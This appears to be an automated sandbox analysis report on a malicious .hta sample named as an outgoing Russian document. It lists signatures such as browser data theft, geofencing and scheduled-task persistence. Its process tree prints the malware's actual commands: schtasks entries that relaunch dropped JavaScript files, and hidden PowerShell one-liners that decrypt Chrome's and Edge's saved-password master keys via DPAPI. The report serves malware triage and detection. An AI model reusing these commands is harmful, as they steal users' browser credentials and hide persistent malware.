Analysis

  • max time kernel
    298s
  • max time network
    277s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    16/04/2026, 03:46

General

  • Target
    ИСХ № 163_ОП от 14.04.2026/ИСХ № 163_ОП от 14.04.2026.hta
  • Size 183KB
  • Sample260416-ebwl5ae12j
  • SHA256 7c5768c535d54c316fde0661311ec5db9bfcfcc783de6e5651d0111cd40fd6bd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\ИСХ № 163_ОП от 14.04.2026\ИСХ № 163_ОП от 14.04.2026.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2972
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "ZipMaster\Full\Active\Account" /tr "C:\Windows\System32\wscript.exe "C:\Users\Admin\AppData\Local\SyncPlify\Total\Filter\Panel\Replace\Shuffle\photo_gallery.js"" /sc minute /mo 15 /rl LIMITED /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Scheduled Task/Job: Scheduled Task
      PID:2200
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "ZipMaster\Full\Active\Config" /tr "C:\Windows\System32\wscript.exe "C:\Users\Admin\AppData\Local\SyncPlify\Total\Filter\Share\alert_status.js"" /sc minute /mo 15 /rl LIMITED /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Scheduled Task/Job: Scheduled Task
      PID:4460
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "ZipMaster\Full\Active\Confirm" /tr "C:\Windows\System32\wscript.exe "C:\Users\Admin\AppData\Local\SyncPlify\Total\Filter\Exit\Registry\restore_log.js"" /sc minute /mo 5 /rl LIMITED /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Scheduled Task/Job: Scheduled Task
      PID:1592
  • C:\Windows\System32\wscript.exe
    "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\WireGuarder\Each\Uninstall\Cursor\script_log.js"
    1⤵
    • Adds Run key to start application
    PID:3564
  • C:\Windows\System32\wscript.exe
    "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\WireGuarder\Each\Uninstall\User\Light\volume_info.js"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:5052
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "& {Add-Type -AssemblyName System.Security;$a=ConvertFrom-Json(Get-Content 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State' -Raw);$b=[System.Convert]::FromBase64String($a.os_crypt.encrypted_key);$c=$b[5..($b.Length - 1)];$d=[System.Security.Cryptography.ProtectedData]::Unprotect($c, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser);$e=[System.Convert]::ToBase64String($d);Set-Content -Path 'C:\Users\Admin\AppData\Local\Airtablez\Address\Some\Search\SMK1.txt' -Value $e;}"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3220
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "& {Add-Type -AssemblyName System.Security;$a=ConvertFrom-Json(Get-Content 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State' -Raw);$b=[System.Convert]::FromBase64String($a.os_crypt.encrypted_key);$c=$b[5..($b.Length - 1)];$d=[System.Security.Cryptography.ProtectedData]::Unprotect($c, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser);$e=[System.Convert]::ToBase64String($d);Set-Content -Path 'C:\Users\Admin\AppData\Local\Airtablez\Address\Some\Search\SMK1.txt' -Value $e;}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2112
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "& {Add-Type -AssemblyName System.Security;$a=ConvertFrom-Json(Get-Content 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State' -Raw);$b=[System.Convert]::FromBase64String($a.os_crypt.encrypted_key);$c=$b[5..($b.Length - 1)];$d=[System.Security.Cryptography.ProtectedData]::Unprotect($c, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser);$e=[System.Convert]::ToBase64String($d);Set-Content -Path 'C:\Users\Admin\AppData\Local\Airtablez\Address\Some\Search\SMK2.txt' -Value $e;}"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3932
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "& {Add-Type -AssemblyName System.Security;$a=ConvertFrom-Json(Get-Content 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State' -Raw);$b=[System.Convert]::FromBase64String($a.os_crypt.encrypted_key);$c=$b[5..($b.Length - 1)];$d=[System.Security.Cryptography.ProtectedData]::Unprotect($c, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser);$e=[System.Convert]::ToBase64String($d);Set-Content -Path 'C:\Users\Admin\AppData\Local\Airtablez\Address\Some\Search\SMK2.txt' -Value $e;}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4664
  • C:\Windows\System32\wscript.exe
    C:\Windows\System32\wscript.exe
    1⤵
      PID:4324
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\WireGuarder\Each\Uninstall\Alert\Unlocked\debug_log.js"
      1⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      PID:4304
    • C:\Windows\System32\wscript.exe
      C:\Windows\System32\wscript.exe C:\Users\Admin\AppData\Local\SyncPlify\Total\Filter\Exit\Registry\restore_log.js
      1⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      PID:2008
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\SyncPlify\Total\Filter\Exit\Registry\restore_log.js"
      1⤵
      • Adds Run key to start application
      PID:1716

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 8a2e9ab64c581c6884ea9ee1b9109375d5cb0dbac683b8e2d5308817441554ce
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 fd6d866929146da939d19002429b8ee71cb26875e5f6a449a0762e9b545ae062
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_r2myou1p.uzm.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r2myou1p.uzm.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          debug_log.js

          • Path C:\Users\Admin\AppData\Local\WireGuarder\Each\Uninstall\Alert\Unlocked\debug_log.js
          • Size 2KB
          • SHA256 8ce7ecd3009c1e5aa581a9573fbd08aef122348573f95f52fb180fe9a8daa6a0
          • MD5 SHA1 SHA512 TLSH

          script_log.js

          • Path C:\Users\Admin\AppData\Local\WireGuarder\Each\Uninstall\Cursor\script_log.js
          • Size 3KB
          • SHA256 a44fce92a9ca348d22d3f70877f9d5208414461c75240bfef2fe527acbdf001e
          • MD5 SHA1 SHA512 TLSH

          volume_info.js

          • Path C:\Users\Admin\AppData\Local\WireGuarder\Each\Uninstall\User\Light\volume_info.js
          • Size 3KB
          • SHA256 d6442df06e570dd2277066397a30332b2d00d0994afe944f30d8475934ffea0c
          • MD5 SHA1 SHA512 TLSH

          memory/1716-89-0x00000255F6560000-0x00000255F656C000-memory.dmp

          memory/2008-92-0x0000023AAF420000-0x0000023AAF42C000-memory.dmp

          memory/2112-29-0x00000230D3A60000-0x00000230D3F88000-memory.dmp

          memory/2112-33-0x00000230BA520000-0x00000230BA52C000-memory.dmp

          memory/2112-28-0x00000230D3360000-0x00000230D3522000-memory.dmp

          memory/2112-27-0x00000230D3140000-0x00000230D3190000-memory.dmp

          memory/2112-26-0x00000230BAC20000-0x00000230BAC42000-memory.dmp

          memory/2972-53-0x0000000003010000-0x00000000030E3000-memory.dmp

          memory/3564-12-0x000001A968870000-0x000001A96887C000-memory.dmp

          memory/4304-54-0x0000018E44FD0000-0x0000018E44FDC000-memory.dmp

          memory/4304-67-0x0000018E44FD0000-0x0000018E44FDC000-memory.dmp

          memory/4664-48-0x000002080DFE0000-0x000002080DFEC000-memory.dmp

          memory/5052-52-0x000001634CB40000-0x000001634CB4C000-memory.dmp